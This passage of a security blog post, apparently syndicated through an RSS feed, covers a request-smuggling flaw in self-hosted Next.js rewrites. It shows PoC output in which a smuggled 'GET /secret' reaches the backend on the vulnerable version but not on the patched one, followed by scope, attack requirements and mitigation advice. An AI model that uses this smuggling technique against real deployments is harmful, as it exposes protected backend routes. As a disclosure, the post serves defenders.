&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;after&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"backendRequests"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"DELETE /rewrites/poc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;"GET /secret"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"FLAG{...}"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;PoC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;result:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;vulnerable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;behavior&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;reproduced.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Patched version output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="err"&gt;after&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"backendRequests"&lt;/span&gt;&lt;span class="p"&gt;:[&lt;/span&gt;&lt;span class="s2"&gt;"DELETE /rewrites/poc"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="nl"&gt;"flag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="err"&gt;PoC&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;result:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;smuggled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;request&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;was&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;not&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;observed.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same topology, same payload — only the Next.js version differs, yet the number of requests the backend receives changes. That's about as clear-cut a demonstration as you'll get.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Scope and Conditions
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Not affected&lt;/strong&gt;: Hosting environments where rewrites are handled at the CDN/edge layer (e.g., Vercel) are not affected. This issue targets self-hosted deployments where &lt;code&gt;rewrites()&lt;/code&gt; proxies from the Node.js runtime itself to an external backend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack requirements&lt;/strong&gt;: No authentication or user interaction is needed — just network access (CVSS &lt;code&gt;PR:N&lt;/code&gt;, &lt;code&gt;UI:N&lt;/code&gt;). That said, the attacker needs to know a configured rewrite path, and real impact depends on a downstream component (proxy, backend) that parses requests differently (&lt;code&gt;AT:P&lt;/code&gt;, Attack Requirements: Present).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Interim mitigation&lt;/strong&gt;: If upgrading isn't immediately possible, block chunked-encoded &lt;code&gt;DELETE&lt;/code&gt;/&lt;code&gt;OPTIONS&lt;/code&gt; requests to rewrite-proxied paths at the edge/proxy layer, or enforce independent authentication/authorization on the backend routes themselves.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>nextjs</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>cve</category>
    </item>
  </channel>
</rss>
